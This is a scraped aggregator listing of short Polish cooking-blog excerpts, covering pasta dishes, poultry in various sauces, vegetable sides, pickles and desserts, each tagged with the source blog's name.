szybki obiad to makaron jest zawsze świetną opcją. Jesienne warzywa, makaron wstążki całość otulona niezwykle kremowym sosem na bazie serka mascarpone. Pyszne bezmięsne danie.  2 porcje Makaron typu wstążki ok 150 gramów 1 papryka czerwona brukselka ok 10 szt pół małej cukinii 2 kopiaste łyżki mascarpone  1 mała cebula 3 łyżki oleju 2 duże ząbki czosnku sól

Andzia Pichci
Chleb na zakwasie z dynią i sepią z mątwy 125

morskiego smaku”. Z pomocą sepii z mątwy przyrządzimy makaron po wenecku ( pasta al nero di seppia ), polentę, kopytka ( gnocchi ), risotto, hiszpański czarny ryż ( arroz negro ), paellę, kalmary w sosie atramentowym, czarne zupy, dipy atramentowe itp. Sepii używa się również do barwienia ciasta na pizzę, bułki lub chleb. Obawiałam się, że po zabarwieniu ciasta chlebowego sepia nada gotowemu pieczywu

Tajemnice Smaku
Makkaraperunat 157

kogokolwiek do taksówkarza jest zasadniczo pejoratywne :) Składniki: - ziemniaki - jakieś parówki - ogórki kiszone, czy inne warzywa, które zalegają nam w lodówce, a które lubimy jako surowe dodatki - ketchup lub inny sos np. majonez jeśli chcielibyśmy dodać akcentu holenderskiego i potrzebujemy poczuć trochę luksusu Wykonanie: Ziemniaki obieramy, kroimy w kostkę, polewamy olejem i wkładamy do nagrzanego do 180 stopni Celsjusza piekarnika

Kryzysowa Książka Kucharska
Straszne papryki faszerowane makaronem w sosie warzywno - pomidorowym. 133

zrumienionej cebuli. Chwilę smażmy a następnie podlewamy delikatnie wodą. Po około 10 minutach dodajemy pomidory z puszki. Doprawiamy do smaku miodem, solą i pieprzem. Dusimy aż utworzy sie sos, w razie potrzeby podlewamy co chwilę odrobiną wody. Na koniec dodajemy przecier i starty czosnek. Doprawiamy do smaku. Mieszamy z makaronem. Napełniamy papryki makaronem. Na wierzchu każdej z nich kładziemy łyżkę

Radość kipiąca uśmiechem.
Jak wykorzystać czerstwe pieczywo? 134

przygotować wystarczy zalać pieczywo bulionem i gotować około 15 minut. Następnie doprawić ulubionymi przyprawami. Można dodać również cebulę, czosnek lub kiełbasę. Pieczywo można również wykorzystać do zagęszczania zup i sosów. Pysznym rozwiązaniem na wykorzystanie czerstwego chleba jest zapiekanka. Na dno żaroodpornego naczynia wysmarowanego tłuszczem wykładamy chleb, ulubione składniki: pieczarki, paprykę, mięso, podsmażone warzywa czy kiełbasę. Na to wylewamy mieszankę jajek

ProstePesto.pl
Udo indyka pieczone z ziemniakami 144

Składniki: 1 udo indyka (do 1 kg - ze skórą i kością) 800 g ziemniaków (z cienką skórką) Marynata: 6 łyżek sosu sojowego 2 łyżki oleju 2 łyżki majeranku 1 łyżka tymianku 1 łyżeczka ostrej papryki 1 łyżka słodkiej papryki 1 łyżka czosnku granulowanego 1/2 łyżki soli ziołowej Sposób wykonania: Składniki marynaty mieszamy ze sobą. Umyte i osuszone mięso układamy

Qchnia po prostu
Tostowa zapiekanka z kurczakiem 163

układamy w naczyniu żaroodpornym tak żeby przykryć brzegi naczynia i dno. 6.    Na chleb wykładamy makaron. 7.    Następnie na makaronie układamy mięso z warzywami i sosem i posypujemy startym na tarce o dużych oczach żółtym serem. 8.    Zapiekamy w rozgrzanym piekarniku w 180 ° C, 10 minut. 9.    Zapiekanka gotowa

Kulinarna Chwila
Quesadillas z kurczakiem i salsą paprykowo-pomidorową 150

smaczne, nie ma osoby która się na nie nie skusi. To nic innego jak placki tortilli zapiekane z dowolnymi ulubionymi dodatkami,  podaje się je na ciepło z domowym sosem lub dowolnym dipem na zimno. Sprawdzi się na duży głód i dla tych którzy kalorii nie liczą. Jej zaletą jest szybkość przygotowania   i niesamowity smak. Wszystkie składniki do przygotowania

Wanilia i Kardamon
Duszona pierś z indyka – idealna na kanapki 126

pierś z indyka . POLUB NA-TALERZU.PL NA FACEBOOKU Indyk – mięso uniwersalne Bardzo często wybieram mięso z indyka do przygotowania rozmaitych dań na obiad, jak np. klopsiki z indyka w sosie pomidorowym , greckie keftedes czy włoskie burgery z marynowaną cebulką . To zdrowe, niskokaloryczne i bardzo smaczne mięso, które świetnie pasuje do różnego rodzaju potraw. Pierś z indyka w całości przygotowuję

Na-talerzu.pl
Czosnek marynowany w oleju do słoika 132

Pachnący, doskonały dodatek do sałatek, mięs i kanapek, czyli czosnek marynowany w oleju do słoika. Idealny do dań z makaronem. Pokreśli smak zup i sosów. Ale to nie wszystko! Po marynowaniu zostaje nam pyszna i pełna aromatu oliwa, która świetnie uzupełni smak wielu dań, surówek i sałatek. Co jednak najważniejsze, ten pyszny czosnek przygotujesz w bardzo prosty sposób w domu

Kuchnia Na Wypasie
Łosoś na puree kalafiorowo-orzechowym z pestkami granatu 188

gruzińska nuta estragonu, odbyłam ponownie sentymentalną wycieczkę po smakach Gruzji . Postanowiłam podać go z pestkami granatu (najczęściej rybę podaje się tam właśnie z granatem!) i puree kalafiorowo-orzechowym. Sosy na bazie orzechów włoskich to gruzińska specjalność. Przygotowanie dania ułatwi MOWIjka – folia, dzięki której ryba nie wysuszy się w piekarniku. Całość jest prosta i bardzo efektowna. Rybę warto podać

Poezja smaku
Pęczotto z grzybami 274

Składniki: 200 g kaszy pęczak 300 g odgotowanych grzybów leśnych 1 cebula 1 łyżka natki pietruszki 50 g szpinaku 2 szklanki bulionu sól, pieprz maggi sos chili Przygotowanie: Cebulę obrać, … Czytaj dalej Pęczotto z grzybami

czarrna od kuchni
Kurczak w sosie z suszonymi pomidorami 171

Kurczak w sosie z suszonymi pomidorami   Składniki: 250 g fileta z kurczaka 70 g suszonych pomidorów odsączonych z zalewy 200 g śmietany 18 % 1 mały ząbek czosnku sól, pieprz, oregano do smaku Sposób wykonania: Kurczaka dokładnie opłukać, pokroić w kostkę. Na  patenie wlać odrobinę oleju i smażyć kurczaka, w między czasie odrobinę go osolić, po pieprzyć

Smaki Natalii
Kurczak w sosie dyniowym 169

rozgrzewającego, a do tego  obowiązkowo z królową jesieni w roli głównej. W taki wydaniu dynia posmakuje nawet osobom które jej nie lubią, raz że nie widać jej w sosie, dwa że dzięki aromatycznej mieszance przypraw jej smak nie dominuje całego dania. Powiem Wam, że pasty Tikka Masala od Pataks to świetna sprawa nie dość, że bardzo wygodne w użyciu

Cynamonowe szczęście
Pieczone pierogi z kurczakiem i brokułami 219

piekarniku. Pyszne pierożki prosto z pieca - chrupiące na zewnątrz, a w środku ze smakowitym farszem. Świetnie smakują zarówno na ciepło, jak i na zimno. Podałam je w towarzystwie sosu czosnkowego, który moim zdaniem idealnie tu pasuje. Takie pierożki to fajna opcja na obiad, kolację, a także jako przekąska imprezowa. Polecam też pieczone pierogi z kapustą i grzybami , wykonane z ciasta

Kuchnia MagdaLeny
Pieczone pierogi z kurczakiem i brokułami 220

piekarniku. Pyszne pierożki prosto z pieca - chrupiące na zewnątrz, a w środku ze smakowitym farszem. Świetnie smakują zarówno na ciepło, jak i na zimno. Podałam je w towarzystwie sosu czosnkowego, który moim zdaniem idealnie tu pasuje. Takie pierożki to fajna opcja na obiad, kolację, a także jako przekąska imprezowa. Polecam też pieczone pierogi z kapustą i grzybami , wykonane z ciasta

Kuchnia MagdaLeny
Domowa szynka drobiowa – Przepis 156

wystudzeniu możemy się cieszyć smakiem pysznej domowej szynki drobiowej. Zapraszam również do skorzystania z innych przepisów: Szarlotka z bezą i kruszonką Smażony ryż z jajkiem po chińsku Pulpety w sosie koperkowym SCHAB PO BAŁKAŃSKU Artykuł Domowa szynka drobiowa – Przepis pochodzi z serwisu Księga Smaku

Księga-Smaku
SAŁATKA WARZYWNA W MUSZLACH MAKARONOWYCH 136

INNE PYSZNE PRZEPISY NA DANIA GŁÓWNE I SAŁATKI:   SAŁATKA Z BOCZNIAKAMI I SEZAMOWYM DRESSINGIEM     SAŁATKA Z MAKARONEM RYŻOWYM ARBUZEM I KURCZAKIEM INACZEJ     CALAMARI Z SOSEM ALFREDO     TAGLIATELLE AL POMODORO CRUDO     LECSÓ CZYLI LECZO PO WĘGIERSKU     ZUPA TAJSKA Z KURCZAKIEM     PAD THAI Z KURCZAKIEM     SAŁATKA

globuskulinarny
Filet z Kurczaka w Płatkach Kukurydzianych 109

przypadku smażenia go na tradycyjnej patelni. Osoby będące na diecie śmiało mogą pokusić się o przygotowanie tego dania. Filety z kurczaka w płatkach kukurydzianych możemy spożywać z ketchupem, ulubionym sosem lub w formie obiadu z ziemniakami i surówką. My podaliśmy kotlety z ziemniakami z dodatkiem koperku oraz surówką z kapusty, na którą przepis znajdziecie tutaj: Surówka z Świeżej Białej Kapusty

Przepiski.pl
Papryka w kuchni. Jak wykorzystać paprykę? 185

robił faszerowane cukinie to robimy to w podobny sposób. Wydrążone papryki nadziewamy mięsem mielonym, doprawionym i zmieszanym z ugotowanym ryżem, a następnie zapiekamy w piekarniku. Świetnie kosztować papryki z sosem pomidorowym lub pieczarkowym. Leczo Najsmaczniejszym jak dla mnie pomysłem na obiad jest leczo, które można przyrządzać na kilka sposobów. Leczo, które robię najchętniej to leczo z kiełbaską. Potrzebna do niego

sierotka maRysia w kuchni
Sałatka z makaronem, brokułem, tuńczykiem i kukurydzą 162

tuńczykiem. Dodałam jeszcze trochę szczypiorku i majonezu. Sałatka wyszła pyszna, mieliśmy ją na kolację. Polecam i miłego dnia Wam życzę :-) Składniki: 1 szklanka makaronu orzo 1 puszka tuńczyka w sosie własnym 1 brokuł 1 puszka kukurydzy pęczek szczypiorku 3 łyżki majonezu sól pieprz 1. Brokuła gotujemy al'dente. Makaron orzo gotujemy według przepisu na opakowaniu. Tuńczyka odsączamy z zalewy

kruche babeczki
Curry rybne z groszkiem cukrowym 206

fileta z pstrąga łososiowego 100 g groszku cukrowego 1/2 puszki kukurydzy 4 pomidory 1-2 cebule 1 łyżeczka curry 1/2 łyżeczki kurkumy 1/2 łyżeczki imbiru 2-3 łyżki sosu … Czytaj dalej Curry rybne z groszkiem cukrowym

czarrna od kuchni
Kubdari z jagnięciną 132

stronę. Smażyć kolejne 8 minut (także pod przykryciem), na 2 minuty przed końcem na zrumieniony placek położyć kawałek masła wielkości łyżeczki. Kubdari z jagnięciną podawać na ciepło np. z sosem jogurtowo-czosnkowym, można także posypać posiekaną kolendrą lub pietruszką. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Kubdari z jagnięciną pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Kamut – z czym to się je? 137

resztą składników. Poza tym jest to dynia na jeden raz. Hokkaido należy do jednych z mniejszych jadalnych dyni. Oczywiście ziarna pszenicy kamut można stosować zamiast ryżu do jakiegoś sosu czy gulaszu. Uwielbiam jej delikatnie orzechowy smak. Spróbujcie sami. Na pewno ją polubicie! Sałatka z kamut i pieczoną dynią 4 porcje Składniki: 200 g sałatkowego miksu 1 dynia hokkaido

codojedzenia
Puree z dyni 124

formie puree. Takie puree mam zazwyczaj na kilka miesięcy. Puree wykorzystuję do przygotowania dań słodkich jak i dań wytrawnych. Świetnie sprawdza się w pączkach, drożdżówkach, ciastach ale również w sosach do makaronów, zupach oraz jako dodatek do puree ziemniaczanego. Puree robię zarówno z dyni zwyczajnej jak i z dyni piżmowej. To przygotowane z dyni piżmowej jest mniej słodkie niż

MeCooks
Risotto z suszonymi grzybami leśnymi 128

prostu go nie dolewaj. Możesz w zamian dodać odrobinę soku z cytryny, który również świetnie się sprawdzi. Na blogu znajdziesz jeszcze wiele innych jesienny inspiracji. Ostatnio wleciał makaron w sosie dyniowym oraz piernik z dyni . Jeśli tylko masz to wspaniałe, pomarańczowe cudo, którym jest dynia, to koniecznie upiecz piernik na deser. Jeśli jej nie masz, to… zakładaj buty

Blendman
5 obiadów w 15 minut każdy 118

mielonego mięsa Danie w stylu “coś z niczego”. Wystarczyło przesmażyć razem kilka składników jakie były w lodówce, dobrze doprawić i gotowe. Zobacz przepis Kurczak z rydzami w sosie winnym Danie oryginalnie jest z pieczarkami, ale przywieźliśmy sporo rydzów z Beskidów no i to one wystąpiły w przepisie. I są nie do pobicia. Zobacz przepis Stir fry z wołowiną

Niedzielny kucharz
Świeżonka czyli swojska uczta mięsna 370

mięso przed i w czasie smażenia nigdy nie było przyprawiane, ani solone. Doprawiane było dopiero na koniec, już po usmażeniu. I tylko solą i pieprzem. Chodziło o to, aby sos, który powstał był bardzo, ale to bardzo mięsny . Natomiast samo mięso było wręcz aż słodkie. Zasługa w tym oczywiście dużej ilości cebuli, ale również jakości i świeżości tamtego mięsa

Kuchnia Na Wypasie
SPAGHETTI AGLIO OLIO E PEPERONCINO 109

pastą. Dla złamania oczywistych reguł spaghetti przyrządziłam bez odcedzania makaronu a pietruszkę zastąpiłam siekaną kolendrą. INNE PYSZNE PRZEPISY NA MAKARONY:   CYTRYNOWE TAGLIATELLE Z PARMEZANEM     CALAMARI Z SOSEM ALFREDO     TAGLIATELLE AL POMODORO CRUDO     SPAGHETTI Z KURKAMI I GROSZKIEM   SPAGHETTI AGLIO OLIO E PEPERONCINO: – Włoskie pyszne danie – Proste i szybkie – Boski makaron z pikantnym

globuskulinarny
Żołądki gęsie z grzybami 131

już godzinę, dołożyć do nich zawartość patelni. Gotować w dalszym ciągu na małym ogniu przez 60-90 minut – aż żołądki będą miękkie. Pod koniec gotowania 4-5 łyżkami sosu zahartować śmietanę, wlać ją do potrawy, całość doprawić do smaku solą oraz pieprzem. Żołądki gęsie z grzybami przed podaniem posypać posiekaną natką pietruszki. (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Żołądki gęsie

niecodziennikpary
Grzyby w pomidorach 265

Składniki: 1 kg kapeluszy grzybów leśnych 1 cebula 1 mały koncentrat pomidorowy 70 ml octu 1 łyżka soli 1/3 szklanki cukru 1 łyżeczka sosu chili liść laurowy, ziele angielskie pieprz … Czytaj dalej Grzyby w pomidorach

czarrna od kuchni
Naleśniki gryczane z twarogiem, jabłkiem i gruszką | Olej rzepakowy, czyli nasza "oliwa Północy" 155

przepisach, do których wymagane jest użycie obróbki cieplnej, a więc z powodzeniem możesz używać go do pieczenia, smażenia, duszenia czy gotowania, ale także stosować na zimno, jako bazę do sosów czy do sałatki. Na rynku dostępny jest także olej rzepakowy nierafinowany i tego powinno się używać tylko do potraw na zimno. Pod względem zawartości i struktury kwasów tłuszczowych oraz witamin

Zdrowie na języku :P
Paluchy drobiowe z pieczarkami 209

ścieramy na tarce o dużych oczkach.  Na patelni rozgrzewamy małą ilość oleju i wrzucamy cebulę oraz pieczarki.  Chwilę podsmażamy, a następnie przyprawiamy pieprzem, solą, ziołami prowansalskimi oraz sosem sojowym. Smażymy do momentu, aż cała woda wyparuje z pieczarek. Studzimy. Płatki kukurydziane kruszymy na mniejsze kawałki. Przesypujemy do miski. Do miski wrzucamy mięso mielone. Chwilę wyrabiamy go dłonią

Kuchnia MagdaLeny
Paluchy drobiowe z pieczarkami 210

ścieramy na tarce o dużych oczkach.  Na patelni rozgrzewamy małą ilość oleju i wrzucamy cebulę oraz pieczarki.  Chwilę podsmażamy, a następnie przyprawiamy pieprzem, solą, ziołami prowansalskimi oraz sosem sojowym. Smażymy do momentu, aż cała woda wyparuje z pieczarek. Studzimy. Płatki kukurydziane kruszymy na mniejsze kawałki. Przesypujemy do miski. Do miski wrzucamy mięso mielone. Chwilę wyrabiamy go dłonią

Kuchnia MagdaLeny
Kolorowa surówka do obiadu 142

seler naciowy i paprykę w paseczki. Wszystkie pokrojone warzywa wrzucam do miski, mieszam. Do słoiczka wlewam oliwę, sok z cytryny, miód, sól i pieprz do smaku, dokładnie mieszam. Sosem polewam warzywa, wrzucam posiekaną bazylię, delikatnie mieszam.  Smacznego

magiczna kuchnia Kasi
Kurczak zapiekany w śmietanie, pieczarkach i porach 169

przyrządzony kurczak to rozkosz dla podniebienia! Soczyste mięso z delikatnie podpieczoną skórką i sosem z pieczarek i porów. Wybierałam w miarę równej wielkości kawałki drobiu, w innym razie nierówno by się upiekły, a przecież obiad chciałam podać dla wszystkich w jednakowym czasie. Takie jedzenie można przygotować wcześniej a później tylko zapiec. W ostatnim czasie [...] Artykuł Kurczak zapiekany w śmietanie, pieczarkach

Pieprzyć z Fantazją
Mango sticky rice 196

następnie kroimy na plasterki. Na YT i Pinterest jest mnóstwo filmików jak dobrać się do mango i umiejętnie je pokroić.  Do misek lub na talerze nakładamy ryż, polewamy sosem i obok układamy mango. Całość posypujemy czarnym sezamem.  Smacznego

bistro mama
Kluski śląskie 181

Kluski śląskie to pyszna propozycja na obiad. Możesz je podać z mięsnym sosem lub jedynie z podsmażoną cebulką i skwarkami. W każdej wersji będą dobrze smakować

Prosty przepis na
Kurczak w sosie śmietanowo-porowym 127

Kurczak w sosie śmietanowo -porowym   Składniki: 250 g fileta z kurczaka 1 mały por 200 g śmietany 18 % łyżka posiekanego koperku sól, pieprz, oregano do smaku Sposób wykonania: Kurczaka dokładnie opłukać, pokroić w kostkę. Oddzielić zielone części porów, pozostawić białą i jasno zieloną część. Pora pokroić w pół plasterki. Na patelni rozgrzać masło dodać pora

Smaki Natalii
Domowa ćwikła z chrzanem 125

sobie Wielkanocy bez białej kiełbasy, żurku i oczywiście domowej ćwikły z chrzanem Bez ćwikły z chrzanem biała kiełbasa czy szynka już nie smakują tak wyjątkowo. Jest ona chyba najzdrowszym sosem do mięsa. Chrzan ze względu na swoje właściwości bakteriobójcze i grzybobójcze wzmacnia nasz system odpornościowy oraz pomaga w trawieniu, co jest dość istotne w czasie Świąt. Buraki natomiast oprócz pierwiastków

UgotujmyTo.pl
Potrawka ze słodkich ziemniaków i szpinaku 116

wykorzystuję zamiennie, dlatego na zdjęciach częściowych jest jarmuż, a na końcowych szpinak :)! Najczęściej z tych dwóch składników przygotowuję bataty nadziewane szpinakiem, ale dla urozmaicenia dodałam do nich -tym razem- sos pomidorowy i ciecierzycę. Oczywiście taką potrawkę można podawać z chlebem, ryżem czy kuskusem. Zapraszam – oto potrawka ze słodkich ziemniaków i szpinaku/jarmużu Potrawka ze słodkich ziemniaków i szpinaku Składniki

UgotujmyTo.pl
Marynowane bakłażany z papryką 127

kochacie bakłażana to teraz na pewno się w nim zakochacie, jeśli przygotujecie te marynowane bakłażany i marynowaną paprykę Na blogu również znajdziecie inne przepisy na bakłażana: Bakłażan w sosie jogurtowym , Pasta z bakłażana i pomidorów , Cannelloni – zapiekanka z bakłażana , Bakłażan smażony i inne… Marynowane bakłażany z papryką Składniki: 2 bakłażany 2 czerwone papryki 2-3 ząbki czosnku

UgotujmyTo.pl
Bliny z sosem makowym 153

dań, jest zawartość mąki gryczanej, która nadaje przepyszny smak i aromat. Bliny można podawać zarówno na słodko, jak i na słono. Ja proponuję moją ulubioną kompozycję, czyli bliny z sosem makowym. Inne bardzo znane połączenia to bliny z łososiem i bliny z kawiorem. W słodkich wersjach często można spotkać po prostu bliny z cukrem pudrem albo owocami

Chleby Rolfa
Placuszki cukiniowe z tymiankiem 103

placuszki cukiniowe z tymiankiem. Ja dodałam do nich tym razem także tarty ser grana padano. Wyszły naprawdę super! Możemy zajadać je solo albo w towarzystwie jogurtu naturalnego, czy domowego sosu czosnkowego, albo koperkowego. Polecam dla małych i dla dużych Placuszki cukiniowe z tymiankiem – składniki (około 15 sztuk): 150g mąki (ja użyłam pół na pół owsianą i orkiszową), 1 duża

Natka Pietruszki
Fit faszerowana papryka z zielonym groszkiem i kurkami 136

przykryciem na małym ogniu, aż będzie miękka (ok 40 minut). Gorącą paprykę serwować z kleksem jogurtu naturalnego. Smacznego! p.s.Wywar z papryki i można wykorzystać jako podstawę do zrobienia pysznego sosu lub zupy

Krylowa Kuchnia
Prosta, szybka i pyszna sałatka z tuńczykiem 164

smaczna i treściwa, a zarazem ekspresowa w wykonaniu. Polecam!     Składniki: 4-5 jajek 100g ryżu 1 pęczek szczypiorku 1 szklanka kukurydzy z puszki ok 300g tuńczyka w sosie własnym 2-3 łyżki majonezu sól i pieprz do smaku     *** Jajka gotujemy na twardo, studzimy, obieramy i kroimy w kosteczkę *** *** Ryż gotujemy według przepisu na opakowaniu, przelewamy zimną

Blog z Apetytem
Gwiazdka w USA tak jak w Polsce? 142

Stanach Zjednoczonych jest pieczony indyk z żurawiną, chlebem i warzywami, albo pieczona kaczka, bądź gęś. Na świątecznym stole nie może również zabraknąć pieczonej szynki podawanej również z warzywami i sosem pieczeniowym. W niektórych stanach pojawia się dziczyzna, przepiórki, ostrygi, krewetki i ryby. Na amerykańskim stole pojawiają się też pieczone ziemniaki, ryż, pieczone warzywa, bułeczki oraz chleb kukurydziany. A na deser

ProstePesto.pl
Ryż z kurczakiem i brokułem w sosie z gorgonzoli 177

dzień i z ryżem, bo makaronu poza spaghetti nie miałam. A on mi nie pasował kompletnie do tego dania. I tak powstał ekspresowy ryż z pysznym mięsno-warzywno-serowym sosem. Czytaj więcej

Bernika - moj kulinarny pamietnik
Zapiekane rollsy z chleba tostowego 194

cienkich kiełbasek lub 5 parówek 10 łyżeczek keczupu Kromki chleba tostowego rozwałkować za pomocą wałka do ciasta można wcześniej odciąć skórki. Każdą kromkę smarujemy łyżeczką keczupu lub innego ulubionego sosu. Następnie na każdej układamy plasterek żółtego sera i mała kiełbaskę lub połowę cienkiej parówki. Zwijamy w rulon. Układamy na blaszce do pieczenia łączeniem do dołu. Wkładamy do nagrzanego piekarnika

Andzia Pichci
Zapomniany przepis na rybę po polsku z jajkiem. Prosto i niesamowicie pysznie 119

skórą. Rybę zdejmij i odłóż. Teraz na patelnię wrzuć posiekane jajka i bułkę tartą. Smaż aż bułka lekko się zrumieni. Rybę ponownie połóż na patelni i obtocz w sosie. Podawaj ze świeżym koperkiem i gotowanymi ziemniakami. Rada: w podobny sposób można przyrządzić dzwonka lub rybę w całości – w drugim przypadku należy wydłużyć czas smażenia i przykryć patelnię, aby ryba

Kulinarna Polska
Ciasto czekoladowe bez mąki 175

ogniu i cały czas mieszać, aż polewa będzie o jednolitej konsystencji. Lekko wystudzić. Następnie polać wierzch ciasta i zatopić w polewie maliny. Odstawić do zastygnięcia. Można podawać z gorącym sosem malinowym , z bitą śmietaną, gałką lodów. Każda wersja jest boska, wypróbowałam, posmakowałam, to jest pyszne:) Smacznego:)     Artykuł Ciasto czekoladowe bez mąki pochodzi z serwisu

gotuj ze mną
Peperonata. 126

dodać czosnek pokrojony na cienkie plasterki, podsmażyć aż zacznie pachnieć. Następnie dodać cząstki pomidora, obranego ze skórki i bez nasion. Smażyć do czasu, aż z pomidora wytworzy się gęsty sos. Dodać papryki, kapary, smażyć jeszcze 2 minuty. Peperonatę oprószyć solą i pieprzem. Podawać z pieczywem na ciepło lub zimno. Smacznego

Codziennik Kuchenny
Paprykowe spaghetti bolognese 151

minut na średnim ogniu. Po tym czasie doprawiamy do smaku oregano, tymiankiem, rozmarynem, paprykami, cynamonem, mielonym kminem oraz solą i pieprzem. Makaron wykładamy na ciepłe talerze i polewamy pośrodku sosem, Dekorujemy rukolą/młodym szpinakiem. Czas przygotowania: 35’ Trudność: łatwe Ilość porcji

Pyry na Gaz
Tarta z rabarbarem 130

Bananowa krówka – ciasto bez pieczenia Kostka pomarańczowa Cytrynowiec – ciasto cytrynowe Tarta z musem czekoladowym Zobacz też najnowsze przepisy : Kopytka dyniowe Tarta z porami, boczkiem i groszkiem Powidła z piekarnika Sos marinara Lody malinowe bez maszynki Artykuł Tarta z rabarbarem pochodzi z serwisu Okolice Palnika - blog kulinarny

okolicepalnika.pl
Paprykowe łódeczki ziemniaczane 157

mięsem Sałatka z fasolką szparagową Podpłomyki Glazurowane marchewki Domowa kostka rosołowa Sałatka tabbouleh Zobacz też najnowsze przepisy : Kopytka dyniowe Tarta z porami, boczkiem i groszkiem Powidła z piekarnika Sos marinara Lody malinowe bez maszynki Artykuł Paprykowe łódeczki ziemniaczane pochodzi z serwisu Okolice Palnika - blog kulinarny

okolicepalnika.pl
Sałatka szopska 122

Ziemniaczana z groszkiem Sałatka z fasolką szparagową Ziemniaczana z bobem Sałatka ziemniaczana z rzodkiewką Zobacz też najnowsze przepisy Kopytka dyniowe Tarta z porami, boczkiem i groszkiem Powidła z piekarnika Sos marinara Lody malinowe bez maszynki Artykuł Sałatka szopska pochodzi z serwisu Okolice Palnika - blog kulinarny

okolicepalnika.pl
Lody ciasteczkowe 109

Tarta z rabarbarem Czekoladowy pudding chia Biały lion – ciasto bez pieczenia Potrójnie czekoladowy deser Zobacz też najnowsze przepisy : Kopytka dyniowe Tarta z porami, boczkiem i groszkiem Powidła z piekarnika Sos marinara Lody malinowe bez maszynki Artykuł Lody ciasteczkowe pochodzi z serwisu Okolice Palnika - blog kulinarny

okolicepalnika.pl
Ogórki po rosyjsku (na sucho) 118

jogurtów Dżem truskawkowy bez cukru Konfitura z pigwy Marynowane rydze Dżem morelowy z kardamonem Zobacz też najnowsze przepisy Kopytka dyniowe Tarta z porami, boczkiem i groszkiem Powidła z piekarnika Sos marinara Lody malinowe bez maszynki Artykuł Ogórki po rosyjsku (na sucho) pochodzi z serwisu Okolice Palnika - blog kulinarny

okolicepalnika.pl
Lody malinowe bez maszynki 120

Proste ciasto bez pieczenia Biały lion – ciasto bez pieczenia Pączki serowe Trufle z grzańcem Zobacz też najnowsze przepisy : Kopytka dyniowe Tarta z porami, boczkiem i groszkiem Powidła z piekarnika Sos marinara Lody malinowe bez maszynki Artykuł Lody malinowe bez maszynki pochodzi z serwisu Okolice Palnika - blog kulinarny

okolicepalnika.pl
Bitki Drobiowe W Sosie Pieczarkowym 163

przesmażeniu dodajemy go do garnka z gotującymi się pieczarkami, w tym momencie całość powinna już gęstnieć, dodajemy śmietankę i doprawiamy do smaku i gotujemy około 30 minut. Jeśli sos jest dla was za rzadki to możecie jeszcze zagęścić go mąką ziemniaczaną. Bitki podajemy z kluseczkami lub ryżem lub ziemniakami w towarzystwie np. ogórka kiszonego. Smacznego !! Ps. Oczywiście smak, gęstość oraz

Gotowanie...to proste !
CYTRYNOWE TAGLIATELLE Z PARMEZANEM 118

ponury dzień jak dziś. Tagliatelle z parmezanem serowe, nieco kwaśne, lekko słone, wychodzi lekkie i świeże zupełnie jakby nie było makaronem. INNE PYSZNE PRZEPISY NA MAKARONY:   CALAMARI Z SOSEM ALFREDO     TAGLIATELLE AL POMODORO CRUDO     SPAGHETTI Z KURKAMI I GROSZKIEM     ZUPA TAJSKA Z KURCZAKIEM     PAD THAI Z KURCZAKIEM     SPAGHETTI

globuskulinarny
Indyk w porach i cukinii 105

kawałki mięsa i całość duszę na małym ogniu przez około 15 minut. Na koniec posypuję danie posiekanym koperkiem. Smacznego! Spróbuj także: curry z dynią i łososiem, kurczak duszony w sosie porowo-marchewkowym. Jeśli chcesz być na bieżąco ze zdrową i smaczną dietą, śledź mnie na  Facebooku  i  Instagramie    Tam częściej pojawiają się zdrowe pyszności

Natka Pietruszki
Tagliatelle w sosie 154

pomidorkami i kaparami. Pod koniec dodajemy posiekany czosnek, zalewamy 100 ml wrzątku, dodajemy pastę. Dusimy pod przykryciem przez kolejne 5 min.   W tym samym czasie gotujemy makaron.   Sos przecieramy przez sito. Ponownie podgrzewamy, dodajemy makaron wraz ze 100 ml wody z gotowania (makaronu).   Całość dokładnie mieszamy doprawiamy wg upodobań solą i pieprzem.   Podajemy z posiekaną bazylią

R'n'G Kitchen
Risotto dyniowe z korzennymi przyprawami 124

sprawą dodatku niewielkiej ilości mleczka kokosowego i masła. Rozkoszny przepis na jesienne risotto z cząstkami dyni i talarkami marchewek. Pękaty ryż ugotowany al dente w słodko – korzennym sosie, całość skomponowana w apetycznej jesiennej kolorystyce. (adsbygoogle = window.adsbygoogle || []).push({}); Risotto dyniowe z korzennymi przyprawami 5 od 1 osoby Autor: Paweł Clad Danie: Główne Kuchnia: Włoska Trudność: Proste Ilość 4 porcje Przygotowanie

ProstePesto.pl
Surówka z kapusty pekińskiej z kukurydzą 134

opłukać, osuszyć, pokroić w paski różnej szerokości. Ogórka, jabłko i pomidora pokroić w kostkę. Krok 2. Wymieszać majonez ze śmietaną, doprawić do smaku. Wszystkie składniki na surówkę wymieszać, polać sosem i lekko przemieszać. Gotową surówkę z pekinki podawać do mięs, ryb i dań jarskich. Miłego gotowania ! Surówka z pekińskiej

Moja Książka Kucharska
Filet z indyka w sosie grzybowym 177

minut, często mieszając. Następnie podlewam wodą i duszę do miękkości grzybów. Na sam koniec zagęszczam mąką z śmietaną. Śmietanę mieszam z mąką, dolewam trochę gorącego wywaru i wlewam do sosu, zagotowuję. W razie potrzeby doprawiam do smaku solą i pieprzem. Smacznego

magiczna kuchnia Kasi
Zupa - krem z pieczonej papryki 125

pozwolić jej nieco ostygnąć. Zdjąć skórki z papryk. Warzywa obrać i pokroić w kostkę. Pora pokroić w półtalarki, chili w talarki. Do garnka z grubym dnem wlać olej z sosem z pieczenia papryk. Obsmażyć na nim warzywa. Do garnka z warzywami wlać ok. litra wody. Wrzucić do niej gałązkę selera i ziele angielskie. Gotować do miękkości warzyw korzeniowych. Pod koniec

Weekendy w domu i ogrodzie
Co zjeść w Katanii? 230

cebulą (którą jadłam w 9 Cereali ) <3. pasta z kremem pistacjowymi i cebulą No dobrze, ale co jeszcze trzeba spróbować będąc w Katanii? alla Norma Norma to sos ze świeżych bakłażanów, pomidorów, posypany świeżą, słoną ricottą. Tradycyjnie podaje się go z makaronem (znany pod nazwą Pasta alla Norma), ale w Katanii Norma to nie tylko danie z makaronem

365 dni dookoła kuchni
Frytki z batatów z piekarnika 183

smak. Frytki z batatów należy piec zawsze w wysokiej temperaturze, minimum 220 stopni. Lepiej smakują lekko przypieczone, niż niedopieczone czyli mdłe. Frytki z batatów najlepiej smakują w towarzystwie ostrych sosów. Można podawać je do obiadów, do mięs czy jajek sadzonych – co kto lubi 🙂 Sprawdźcie koniecznie przepis! Zobacz też: Domowe zapiekanki z pieczarkami i serem Mini burgery koreczki

Kuchnia Bazylii
